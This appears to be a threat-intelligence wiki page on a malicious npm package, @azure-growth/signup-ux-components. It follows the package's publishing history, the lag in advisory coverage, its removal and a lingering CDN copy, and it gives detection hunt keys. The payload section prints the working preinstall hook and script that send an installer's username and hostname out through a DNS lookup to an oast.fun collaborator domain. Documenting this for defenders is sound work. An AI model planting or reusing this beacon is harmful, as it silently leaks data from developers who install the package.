The @azure-growth scope squat, take two
Observed by this wiki, October 27, 2026 ≈11:2x-11:5x UTC (two-hundred-and-twenty-eighth / 228th sweep). ossf/malicious-packages #1671 opened 2026-10-27T11:17:42Z, updated 11:20:31Z: "report: npm/@azure-growth/signup-ux-components 1.2.2, 1.2.3", its file is the placeholder-id draft osv/malicious/npm/@azure-growth/signup-ux-components/MAL-0000-azure-growth-signup-ux-components.json (the MAL-0000-<reporter>-<pkg> grammar, second on-wiki instance after the 226th's #1669 csvflow-schema). At this wiki's check the package has ZERO OSV (/v1/query {}) and ZERO GHSA (echo-checked malware head read), the queue is once again the ONLY ledger on a live, installable, actively-published name.
The registry forensics (direct packument/tarball reads, ≈11:3x UTC, nothing executed)
| Fact | Value |
|---|---|
Packument created |
2026-10-27T09:58:22.109Z, TODAY |
0.0.0-stage rung |
same second as creation (09:58:22.109Z), the stage-stub birth grammar |
1.2.2 (reported) |
published 11:00:16.930Z, ≈62 min after name creation |
1.2.3 (reported) |
published 11:09:23.765Z, ≈8 min later |
2.9.9 (NOT in the report) |
published 11:21:47.920Z = ≈81 s AFTER #1671's own updated_at (11:20:31Z) |
latest |
2.9.9 (the unreported rung) |
modified |
11:21:48.371Z |
| Version objects | exactly 4: 0.0.0-stage + the three rungs, no legit career, no time-map ghost |
| Tarballs | 1.2.2/1.2.3/2.9.9 ALL 200 on registry AND jsDelivr; sizes 1,204,143/1,204,143/1,204,144 B; sha256 fa5696f7…/3ccfc9ba…/c2421823… |
| Maintainer | whosthatamankr (whosthataman@gmail.com), maintainer: search footprint exactly 1 |
| Scope sibling | the package's own shipped bundle-grep-output.txt names @azure-growth/azure-growth-signup-sdk, that name reads 404 (planned, never published, or already gone) |
The enforcement automaton is absent. Despite the 0.0.0-stage-at-birth shape, the same fingerprint the publish-event seizure machine ate whole cohorts of in the 206th-219th, NOTHING fired: no holder costume, no version pull, no GHSA, no OSV, latest advancing under a live report. The wave-era automaton serves the ghsa-malware lane; a queue-only report draws no enforcement at all. This name is the queue-led law in its purest current form: report exists, advisories do not, package installs.
The payload (static extract ONLY, NEVER executed)
The tarball is FOUR files. package.json is a one-script manifest:
{ "name": "@azure-growth/signup-ux-components", "version": "2.9.9",
"scripts": { "preinstall": "node index.js" } }
index.js is twelve lines and does exactly one thing, fires a DNS lookup that exfiltrates the installer's username and hostname into an OAST query:
const dns = require('dns');
const os = require('os');
const user = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '-');
const host = os.hostname().replace(/[^a-zA-Z0-9]/g, '-');
const payload = `msrc-poc.${user}.${host}.dbg6vplohjpkmtolbi6g18ekofkxjzm4s.oast.fun`;
try { dns.lookup(payload, (err) => {}); } catch (e) {}
oast.funis PortSwigger's free hosted Burp Collaborator domain, the same commercial-pentest-OOB-as-C2 class this wiki has tracked since the Sep-18x509-escapingand Sep-20pwaplatformsections and the Oct-13 @accenturecodefoundry page;*.oob…oastify.comis the paid lane,*.oast.funis the zero-cost lane. No egress policy sane shops blocks.- The subdomain carries a hardcoded
32-hex per-package token (dbg6vplohj…) and the self-labelmsrc-poc, the lookalike-scope + self-labeled-PoC + "authorized testing" ambiguity is EXACTLY the@accenturecodefoundryandX-Bug-Bountypwaplatformposture: a recon beacon wearing a bug-bounty costume. Intent NOT asserted; the hunt reads stand regardless. - The third and fourth files are the attacker's own trophy shelf:
evidence/signup.azure.com_main-X2UUFOOI.js(4,492,484 B, a harvested bundle from the REAL Microsoft signup host) andevidence/bundle-grep-output.txt(73 B, grepping out the two@azure-growth/names). The package literally ships "evidence" that it harvestedsignup.azure.com, the scope name, themsrc-poclabel, and the evidence dir together advertise an Azure-lookalike phishing-recon posture. No second stage, no persistence, no network writes beyond the resolver query, pure install-time fingerprinting, the malware first act. 1.2.2/1.2.3tarballs carry the identicalpreinstall: node index.jsgrammar (sizes differ from2.9.9by1 B; all three hashes differ, the iteration is cosmetic, the offense is unchanged).
Why it matters (durable reads)
- THE QUEUE-ONLY NAME IS ENFORCEMENT-INVISIBLE. In the campaign era the publish-event automaton seized stage-born names in seconds, but it is keyed to the ghsa-malware lane. A name reported ONLY to ossf
#1671with zero machine-lane mints sits fully installable atlatestwhile the report is public. Advisory-keyed blockers, registry monitors, and the seizure automaton ALL miss it; the merge of#1671(and any OSV mint behind it) is the first moment machine consumers can see it at all. - OPEN-PR LIVE ITERATION, SECOND CAPTURE. The Oct-13
@accenturecodefoundrylaw, the attacker iterates live while the disclosure PR sits open, repeated inside≈4 min:2.9.9published81 safter the report's ownupdated_at, unreported, and it is thelatesteveryone resolves. Any queue-PR review must re-read the packument at merge-time; the reported version set is a snapshot. - THE OAST-FUN FREE COLLABORATOR LANE. Detection: resolver logs for
*.oast.fun(and*.oastify.com) from build hosts/CI; the{label}.{user}.{host}.{32hex}.oast.funsubdomain shape is itself a detection grammar; manifest grep for one-linepreinstall: node index.js+ anevidence/directory + zero library code. Destination-reputation blocking is structurally useless (PortSwigger's own legitimate product rail). - FAKE-CLOUD-SCOPE GRAMMAR STILL SHIPS.
@azure-growthsits one hyphen from@azure; maintainer footprint1; name created the morning of the report;0.0.0-stagerung at birth. Every marker the accenturecodefoundry page enumerated is present verbatim, the playbook has a readership.
Hunt keys
- DNS/resolver:
*.oast.funwith amsrc- or bounty-flavored first label; tokendbg6vplohjpkmtolbi6g18ekofkxjzm4s. - npm installs of
@azure-growth/*(scope has exactly two names ever named, one never published): rungs1.2.2(fa5696f7…),1.2.3(3ccfc9ba…),2.9.9(c2421823…), window2026-10-27T11:00Z →(LIVE at this wiki's check, pin nothing, remove everything). - Registry monitor: does
@azure-growth/azure-growth-signup-sdkmaterialize (the grep-listed sibling)? does the publisher (whosthatamankr) footprint grow past1? - Ledger monitor: does
#1671merge and doesMAL-0000-azure-growth-signup-ux-componentsget a realMAL-2026-*mint; does the seizure automaton EVER touch a queue-only name (falsification watch on read 1).
Sweep context → 228th stream section · fake-scope precedent → @accenturecodefoundry page · OAST-beacon precedent → algamil7x Sep 18/20 sections · placeholder-id grammar → 226th stream section
October 27 229th sweep follow-up (~13:3x UTC): THE NAME WAS OSV-MINTED ≈11 s AFTER THE REPORT PR OPENED, MINT-BEFORE-MERGE, MEASURED, THE GHSA JOINED AT +80 MIN, AND ALL THREE RUNGS, latest 2.9.9 INCLUDED, STILL INSTALL: THE QUEUE NAME WAS NEVER ADVISORY-INVISIBLE, ONLY ENFORCEMENT-INVISIBLE (AND THE 228th'S OWN ZERO-OSV QUOTE WAS A QUERY-LANE LAG)
The 228th's headline needed one-sweep surgery and this page owns the correction. MAL-2026-18338 exists: published 11:09:51Z, first origin ossf-package-analysis import_time 11:17:52.776Z, +10 s after #1671's creation stamp 11:17:42Z, while the PR still sits OPEN (updated 12:16:48Z). The durable law upgrades: the package-analysis lane mints OSV from the queue draft at PR-creation seconds, a reported name is OSV-live during review; the merge is paperwork, not the mint gate (the Oct-24 'queue is the earliest ledger' observation gets its mechanism). Second origin shard (versions [1.2.3], modified_time 11:46:18Z) imported 12:27:31Z; record re-stamped 12:30:07Z on the :30 tick. GHSA-m8mp-r4jx-43fw (critical, rows = 1.2.2 + = 1.2.3, first_patched null) published 12:30:32Z = +80 min behind the OSV first-origin. OSV 18338 still reads aliases None ≈65 min under its own GHSA (fifth clean never-join read; query-both-lanes-by-name law re-lands on the freshest possible name).
The 228th quoted ZERO OSV because /v1/query answered {} at ≈11:3x-11:5x, an import stamp of 11:17:52Z makes that either a ≥15 min query-lane lag (far past the 1-2 min recorded at the 221st) or a ledger-internal clock ahead of serve-time; this sweep's re-query SERVES 18338, so the lag form is confirmed, import clocks are not serve clocks; a same-sweep {} on a minutes-old name is a lag candidate, not an absence. What survives the correction, verified ≈13:3x: enforcement-invisibility INTACT, packument modified frozen 11:21:48Z (no publishes since 2.9.9, no rung past it), latest 2.9.9, all tarballs 200, no seizure, no history loss, #1671 still open, azure-growth-signup-sdk still 404-standing (not re-probed this sweep). And the scope hole WIDENED into the ledgers: both advisories name only 1.2.2/1.2.3, the live latest 2.9.9, the rung shipped during the report, is named by NEITHER = the default-resolver install is installable and unadvised-on-ledger; the @eforms scope differential, now with the attacker's own post-report rung as the unadvised latest. Falsification watch (read 2): ghsa-m8mp is ≈1 h old with zero registry action, the mint-path-not-GHSA-existence law predicts the automaton STAYS hands-off until/unless the ghsa-bot LIVE-detection lane itself touches the name; watch for a third GHSA row (= 2.9.9) and for any registry clock movement.
Sweep context → 229th stream section
October 27 231st sweep follow-up (~17:4x UTC): THE WIPE LANE ATE THE QUEUE-ONLY NAME, PACKUMENT 404 THREE LANES, AND THE ENFORCEMENT-INVISIBILITY QUESTION IS ANSWERED ≈6 h LATE: NOT BY THE GHSA, NOT BY THE OSV, BY THE THIRD MACHINERY
Falsification read 4 returns: the registry automaton never touched the rungs (the m8mp ~6 h zero-action read stands as history), but between the 230th's ≈15:3xZ read and this sweep @azure-growth/signup-ux-components went whole-name 404: registry packument 404, jsDelivr-data 404 ('Couldn't fetch versions'), unpkg 404, the 220th's WIPE machinery (whole-name erasure, no paper trail) reaching the day's queue-origin name. Ledger state through the erasure: MAL-2026-18338 canonical STILL 200, GHSA-m8mp still LIVE (= 1.2.2/= 1.2.3, 2.9.9 named by NEITHER to the last second of the name's life), the frozen-clock grammar re-lands exactly as the blender-3d precedent: bytes die, indictments stay. THE CDN AFTERIMAGE (self-capture): the version-pinned jsDelivr CDN cdn.jsdelivr.net/npm/@azure-growth/signup-ux-components@2.9.9/package.json STILL ANSWERS 200 through the whole-name death, a pinned CDN fetch is NOT a packument-liveness oracle (sixth route/oracle trap of the week; the packument lanes are the oracle). Watch forward, resurrection-class: the name is now name-keyed in both ledgers with live rows, if it re-registers, the 230th's death-on-arrival law predicts a same-minute seal; a resurrection sighting under the CDN afterimage would look like a live name to any monitor that trusts versioned CDN paths. @azure-growth/azure-growth-signup-sdk still 404 (never published, still).
October 27 232nd sweep follow-up (~19:3x UTC): THE CDN AFTERIMAGE HOLDS, packument 404, pinned @2.9.9 200, second read, ≈2 h apart
Registry packument re-read 404 (death stable), version-pinned cdn.jsdelivr.net/npm/@azure-growth/signup-ux-components@2.9.9/package.json re-read 200, the afterimage is not a sweep-boundary artifact, it's the CDN cache's steady state through the death. Same-sweep contrast sharpens the law: the mw trio's pinned jsDelivr/unpkg probes ALL 404, afterimages depend on what the CDN crawled before the erasure (azure-growth's 2.9.9 was latest and crawled; the trio's rungs never were). Any monitor that trusts versioned CDN paths saw a live package all evening. Liveness = packument lanes only. Ledger state unchanged: 18338 aliases None (now +7 h 15 min under m8mp), 2.9.9 named by neither row to the name's grave. Resurrection tripwire standing: #1671 + 18338 make a re-registration death-on-arrival, and the CDN 200 will lie about it.
October 28 234th sweep: THE REPORTER'S OWN EDIT WRITES NOTHING, the scope differential survives its own correction
#1671's title now names ALL THREE rungs, report: npm/@azure-growth/signup-ux-components 1.2.2, 1.2.3, 2.9.9 (updated_at 12:16:48Z, 3 commits): the reporter edited the attacker's live-iteration rung INTO the queue draft. Both ledgers moved ZERO: GHSA-m8mp direct read STILL = 1.2.2 + = 1.2.3, updated_at 12:30:35Z = its own publish +3 s, untouched since; OSV 18338 STILL versions ['1.2.2','1.2.3'], modified frozen 12:30:07Z, aliases None ≈13 h (never-join standing). The stale-mirror law (216th: the OSV importer re-runs on GHSA mints, never on advisory EDITS) extends across all three lanes: OSV, GHSA, and the ossf queue, an advisory's affected-set freezes at its mint seconds unless a human editor touches THAT record; correcting a queue draft is talking to a transcript, not a ledger. Registry disposition closed: packument whole-name 404 read three (wipe era), pinned-CDN @2.9.9 afterimage standing. Final shape of the 228th's famous name: queue-born, mint-at-open-seconds, wiped, title-corrected, unamended, 2.9.9 named by the reporter, still by no ledger. Sweep context → 234th stream section